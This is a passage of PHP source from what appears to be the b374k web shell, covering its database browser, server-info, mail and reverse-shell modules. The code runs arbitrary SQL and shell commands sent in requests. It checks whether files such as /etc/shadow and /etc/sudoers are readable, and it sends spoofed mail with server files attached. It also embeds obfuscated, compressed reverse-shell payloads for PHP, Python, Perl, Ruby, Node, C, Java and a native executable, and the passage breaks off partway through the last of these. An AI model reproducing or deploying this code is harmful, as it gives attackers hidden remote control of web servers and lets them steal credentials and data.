if(!function_exists('sql_num_fields')){
function sql_num_fields($sqltype, $result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->field_count;
elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
}
elseif($sqltype == 'pgsql') return pg_num_fields($result);
elseif($sqltype == 'oracle') return oci_num_fields($result);
elseif($sqltype == 'sqlite3') return $result->numColumns();
elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
elseif($sqltype == 'odbc') return odbc_num_fields($result);
elseif($sqltype == 'pdo') return $result->columnCount();
}
}
if(!function_exists('sql_field_name')){
function sql_field_name($sqltype,$result,$i){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_field_metadata')){
$metadata = sqlsrv_field_metadata($result);
if(is_array($metadata)){
$metadata=$metadata[$i];
}
if(is_array($metadata)) return $metadata['Name'];
}
elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
}
elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
elseif($sqltype == 'sqlite3') return $result->columnName($i);
elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
elseif($sqltype == 'pdo'){
$res = $result->getColumnMeta($i);
return $res['name'];
}
}
}
if(!function_exists('sql_fetch_data')){
function sql_fetch_data($sqltype,$result){
if($sqltype == 'mysql'){
if(class_exists('mysqli_result')) return $result->fetch_row();
elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
}
elseif($sqltype == 'pgsql') return pg_fetch_row($result);
elseif($sqltype == 'oracle') return oci_fetch_row($result);
elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
elseif($sqltype == 'odbc') return odbc_fetch_array($result);
elseif($sqltype == 'pdo') return $result->fetch(2);
}
}
if(!function_exists('sql_close')){
function sql_close($sqltype,$con){
if($sqltype == 'mysql'){
if(class_exists('mysqli')) return $con->close();
elseif(function_exists('mysql_close')) return mysql_close($con);
}
elseif($sqltype == 'mssql'){
if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
elseif(function_exists('mssql_close')) return mssql_close($con);
}
elseif($sqltype == 'pgsql') return pg_close($con);
elseif($sqltype == 'oracle') return oci_close($con);
elseif($sqltype == 'sqlite3') return $con->close();
elseif($sqltype == 'sqlite') return sqlite_close($con);
elseif($sqltype == 'odbc') return odbc_close($con);
elseif($sqltype == 'pdo') return $con = null;
}
}
if(!function_exists('sql_get_supported')){
function sql_get_supported(){
$db_supported = array();
if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
if(function_exists("oci_connect")) $db_supported[] = 'oracle';
if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
if(class_exists("PDO")) $db_supported[] = 'pdo';
return implode(",", $db_supported);
}
}
if(isset($p['dbGetSupported'])){
$res = sql_get_supported();
if(empty($res)) $res = "error";
output($res);
}
elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
$type = $p['dbType'];
$host = $p['dbHost'];
$user = $p['dbUser'];
$pass = $p['dbPass'];
$port = $p['dbPort'];
$con = sql_connect($type ,$host , $user , $pass);
$res = "";
if($con!==false){
if(isset($p['dbQuery'])){
$query = $p['dbQuery'];
$pagination = "";
if((isset($p['dbDB']))&&(isset($p['dbTable']))){
$db = trim($p['dbDB']);
$table = trim($p['dbTable']);
$start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
$limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
if($type=='mysql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
}
elseif($type=='mssql'){
$query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
}
elseif($type=='pgsql'){
$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
}
elseif($type=='oracle'){
$limit = $start + $limit;
$query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
}
elseif($type=='sqlite' || $type=='sqlite3'){
$query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
}
else $query = "";
$pagination = "Limit
prev
next
";
}
$querys = explode(";", $query);
foreach($querys as $query){
if(trim($query) != ""){
$query_query = sql_query($type, $query, $con);
if($query_query!=false){
$res .= "".html_safe($query)."; [ ok ]
";
if(!empty($pagination)){
$res .= "".$pagination."
";
}
if(!is_bool($query_query)){
$res .= "";
for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
$res .= "".html_safe(sql_field_name($type, $query_query, $i))." ";
$res .= " ";
while($rows = sql_fetch_data($type, $query_query)){
$res .= "";
foreach($rows as $r){
if(empty($r)) $r = " ";
$res .= "".html_safe($r)." ";
}
$res .= " ";
}
$res .= "
";
}
}
else{
$res .= "".html_safe($query)."; [ error ]
";
}
}
}
}
else{
if(($type!='pdo') && ($type!='odbc')){
if($type=='mysql') $showdb = "SHOW DATABASES";
elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
else $showdb = "SHOW DATABASES";
$query_db = sql_query($type, $showdb, $con);
if($query_db!=false) {
while($db_arr = sql_fetch_data($type, $query_db)){
foreach($db_arr as $db){
if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
else $showtbl = "";
$res .= "".$db."
";
$query_table = sql_query($type, $showtbl, $con);
if($query_table!=false){
while($tables_arr = sql_fetch_data($type, $query_table)){
foreach($tables_arr as $table) $res .= "".$table." ";
}
}
$res .= "
";
}
}
}
}
}
}
if(!empty($res)) output($res);
output('error');
}
$GLOBALS['module']['info']['id'] = "info";
$GLOBALS['module']['info']['title'] = "Info";
$GLOBALS['module']['info']['js_ontabselected'] = "";
$GLOBALS['module']['info']['content'] = "
";
if(!function_exists('info_getinfo')){
function info_getinfo(){
$res = "";
// server misc info
$res .= "Server Info
";
$res .= "";
if(is_win()){
foreach (range("A", "Z") as $letter){
if(is_readable($letter.":\\")){
$drive = $letter.":";
$res .= "drive ".$drive." ".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))." ";
}
}
}
else $res .= "root partition ".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))." ";
$res .= "php ".phpversion()." ";
$access = array("python"=>"python -V",
"perl"=>"perl -e \"print \$]\"",
"python"=>"python -V",
"ruby"=>"ruby -v",
"node"=>"node -v",
"nodejs"=>"nodejs -v",
"gcc"=>"gcc -dumpversion",
"java"=>"java -version",
"javac"=>"javac -version"
);
foreach($access as $k=>$v){
$version = execute($v);
$version = explode("\n", $version);
if($version[0]) $version = $version[0];
else $version = "?";
$res .= "".$k." ".$version." ";
}
if(!is_win()){
$interesting = array(
"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
"/etc/ssh/sshd_config",
"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
foreach($interesting as $f){
if(@is_file($f) && @is_readable($f)) $res .= "".$f." ".$f." is readable ";
}
}
$res .= "
";
if(!is_win()){
// cpu info
if($i_buff=trim(read_file("/proc/cpuinfo"))){
$res .= "CPU Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
foreach($i_buffs as $i_buffss){
$i_buffss = trim($i_buffss);
if($i_buffss!=""){
$i_buffsss = explode("\n", $i_buffss);
$res .= "
";
foreach($i_buffsss as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
}
$res .= "
";
}
}
$res .= "
";
}
// mem info
if($i_buff=trim(read_file("/proc/meminfo"))){
$res .= "Memory Info
";
$i_buffs = explode("\n", $i_buff);
$res .= "";
foreach($i_buffs as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
else $res .= "
";
}
// partition
if($i_buff=trim(read_file("/proc/partitions"))){
$i_buff = preg_replace("/\ +/", " ", $i_buff);
$res .= "Partitions Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
$res .= "
";
$i_head = explode(" ", $i_buffs[0]);
foreach($i_head as $h) $res .= "".$h." ";
$res .= " ";
$i_buffss = explode("\n", $i_buffs[1]);
foreach($i_buffss as $i_b){
$i_row = explode(" ", trim($i_b));
$res .= "";
foreach($i_row as $r) $res .= "".$r." ";
$res .= " ";
}
$res .= "
";
$res .= "
";
}
}
$phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
foreach($phpinfo as $p=>$i){
$res .= "".$p."
";
ob_start();
eval("phpinfo(".$i.");");
$b = ob_get_contents();
ob_end_clean();
if(preg_match("/(.*?)<\/body>/is", $b, $r)){
$body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]);
$body = str_replace("(.*?)<\/tr>/", "", $body);
$body = preg_replace("//", "", $body);
$body = preg_replace("/ /", "", $body);
$res .= "".$body."
";
}
}
$res .= "refresh
";
return $res;
}
}
if(isset($p['infoRefresh'])){
output(info_getinfo());
}
$GLOBALS['module']['mail']['id'] = "mail";
$GLOBALS['module']['mail']['title'] = "Mail";
$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
$GLOBALS['module']['mail']['content'] = "
";
if(!function_exists('send_email')){
function send_email($from, $to, $subject, $msg, $attachment){
$headers = "MIME-Version: 1.0\r\nFrom: ".$from."\r\nReply-To: ".$from."\r\n";
$rand = md5(time());
$headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n";
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n";
$headers .= $msg."\r\n\r\n";
if(count($attachment)>0){
foreach($attachment as $file){
if(is_file($file)){
$content = chunk_split(base64_encode(read_file($file)));
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n";
$headers .= "Content-Disposition: attachment\r\n\r\n";
$headers .= $content."\r\n\r\n";
}
}
}
$headers .= "--".$rand."--\r\n";
if(@mail($to, $subject, "", $headers)) return true;
return false;
}
}
if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
$mailFrom = trim($p['mailFrom']);
$mailTo = trim($p['mailTo']);
$mailSubject = trim($p['mailSubject']);
$mailContent = trim($p['mailContent']);
$mailAttachment = trim($p['mailAttachment']);
$mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();
if(empty($mailTo)) output("Please specify at least one recipient");
if(empty($mailFrom)) $mailFrom = "anonymous@anonymous.com";
foreach($mailAttachment as $file){
$file = trim($file);
if(empty($file)) continue;
if(!is_file($file)) output("No such file : ".$file);
}
if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($to));
output("Failed to send mail");
}
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "executable ":"";
$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G";
$GLOBALS['resources']['rs_python'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=";
$GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==";
$GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
$GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==";
$GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8=";
$GLOBALS['resources']['rs_executable'] = "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